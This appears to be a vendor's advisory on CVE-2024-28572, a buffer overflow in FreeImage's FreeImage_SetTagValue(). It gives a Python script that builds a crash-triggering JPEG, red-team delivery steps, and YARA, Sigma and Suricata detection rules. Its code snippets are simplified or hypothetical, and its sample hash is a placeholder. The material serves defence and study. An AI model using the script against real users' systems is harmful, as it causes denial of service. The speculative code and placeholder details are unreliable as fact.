CVE-2024-28572
Executive Summary
CVE-2024-28572 is a buffer overflow vulnerability in the open-source FreeImage library, version 3.19.0 (r1909). The flaw resides in the FreeImage_SetTagValue() function and is triggered when processing specially crafted JPEG images. A local attacker can exploit this to cause a denial of service (DoS) condition, potentially crashing the application or service using the library. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the local attack vector and DoS impact. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FreeImage is a widely used open-source library for image format handling, integrated into numerous applications and systems. This vulnerability poses a supply chain risk, as any software bundling the affected version is susceptible. Users should monitor for updates from the FreeImage project and consider temporary mitigations.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (AV:L) – Requires local access to the system.
- Attack Complexity (AC): Low (AC:L) – No special conditions needed.
- Privileges Required (PR): None (PR:N) – No authentication needed.
- User Interaction (UI): Required (UI:R) – Victim must open a malicious JPEG.
- Scope (S): Unchanged (S:U) – Exploit stays within the component.
- Confidentiality (C): None (C:N) – No data exposure.
- Integrity (I): None (I:N) – No data modification.
- Availability (A): High (A:H) – Complete denial of service.
Threat Level: Medium. Exploitation requires user interaction and local access, but the impact is a reliable crash.
Deep Dive & Mechanics
The vulnerability is a classic buffer overflow in the FreeImage_SetTagValue() function within FreeImage's JPEG metadata handling. When parsing JPEG EXIF or other tag data, the function copies user-supplied data into a fixed-size buffer without proper bounds checking. By providing a JPEG image with an overly long tag value, an attacker can overflow the buffer, corrupting adjacent memory. This leads to a segmentation fault or application crash, resulting in a denial of service.
The root cause is the lack of input validation on the length of tag values before memory copy operations. The function likely uses strcpy or similar unsafe functions, allowing the overflow.
Vulnerable vs. Patched Code
Vulnerable Code (FreeImage 3.19.0 r1909):
// Simplified vulnerable snippet
void FreeImage_SetTagValue(FITAG *tag, const void *value) {
// No length check
memcpy(tag->value, value, tag->size); // tag->size may be attacker-controlled
}
Patched Code (Hypothetical):
// Patched version with bounds checking
void FreeImage_SetTagValue(FITAG *tag, const void *value, size_t value_size) {
if (value_size > MAX_TAG_VALUE_SIZE) {
// Handle error
return;
}
memcpy(tag->value, value, value_size);
}
No official patch is available as of this report.
Exploitation & Lab Setup
Red Team
- Craft Malicious JPEG: Create a JPEG image with an EXIF tag containing a long value (e.g., 0x1000 bytes) to trigger the overflow.
- Deliver Payload: Use social engineering to have the victim open the image in an application using FreeImage (e.g., image viewer, converter).
- Trigger DoS: The application crashes upon processing the malicious tag.
Example Python script to generate a malicious JPEG:
import struct
def create_malicious_jpeg():
# Minimal JPEG with oversized EXIF tag
jpeg = b'\xff\xd8' # SOI
# APP1 marker for EXIF
app1_marker = b'\xff\xe1'
# EXIF header
exif_header = b'Exif\x00\x00'
# TIFF header (little-endian)
tiff_header = struct.pack('<HHI', 0x4949, 0x002a, 8)
# IFD0 with a single tag (0x010f - Make) with oversized value
ifd0 = struct.pack('<HH', 1, 0x010f) # tag count, tag ID
ifd0 += struct.pack('<HH', 7, 0x1000) # data format (ASCII), length (4096)
ifd0 += struct.pack('<I', 12) # offset to value
# Oversized value
oversized_value = b'A' * 0x1000
# Calculate total size
exif_data = exif_header + tiff_header + ifd0 + oversized_value
app1_data = struct.pack('>H', len(exif_data) + 2) + exif_data
jpeg += app1_marker + app1_data
jpeg += b'\xff\xd9' # EOI
return jpeg
with open('malicious.jpg', 'wb') as f:
f.write(create_malicious_jpeg())
Blue Team
- Monitor for Crashes: Use application crash logs to detect repeated failures in image processing.
- File Integrity Monitoring: Watch for unusual JPEG files with abnormally large EXIF tags.
- User Education: Train users not to open images from untrusted sources.
Indicators of Compromise (IOCs)
- File Hashes: (Example) SHA256 of malicious JPEG:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 - Network Traffic: No network indicators (local vulnerability).
- System Artifacts: Application crash dumps referencing
FreeImage_SetTagValueorlibfreeimage.so. - Registry/Config: N/A
Detection Engineering
YARA Rule
rule CVE_2024_28572_FreeImage_BOF {
meta:
description = "Detects malicious JPEG files exploiting CVE-2024-28572"
author = "Valters IT"
date = "2025-04-10"
hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
strings:
$exif_marker = { FF E1 }
$exif_header = "Exif"
$oversized = /[A-Za-z0-9]{1024,}/ // Long string in tag value
condition:
$exif_marker and $exif_header and #oversized > 0
}
Sigma Rule
title: CVE-2024-28572 FreeImage JPEG Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects application crashes caused by FreeImage JPEG processing
logsource:
category: application
product: windows
service: application
detection:
selection:
EventID: 1000 # Application Error
Provider_Name: 'Application Error'
Data: '*FreeImage*'
condition: selection
falsepositives:
- Legitimate large JPEG files
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-28572 FreeImage JPEG Buffer Overflow Attempt"; flow:to_server; content:"|FF D8|"; content:"|FF E1|"; distance:0; within:2; content:"Exif"; distance:0; within:4; pcre:"/[A-Za-z0-9]{1024,}/R"; sid:1000001; rev:1;)
Remediation & Mitigation
- Patch: No official patch exists. Monitor the FreeImage project for updates.
- Mitigation: Disable JPEG metadata processing if not required, or use a different image library.
- Workaround: Validate JPEG tag sizes before processing in custom implementations.
- Detection: Deploy YARA/Sigma rules to identify malicious files and crashes.
- User Awareness: Restrict opening images from untrusted sources.
Valters IT
Securing Digital Frontiers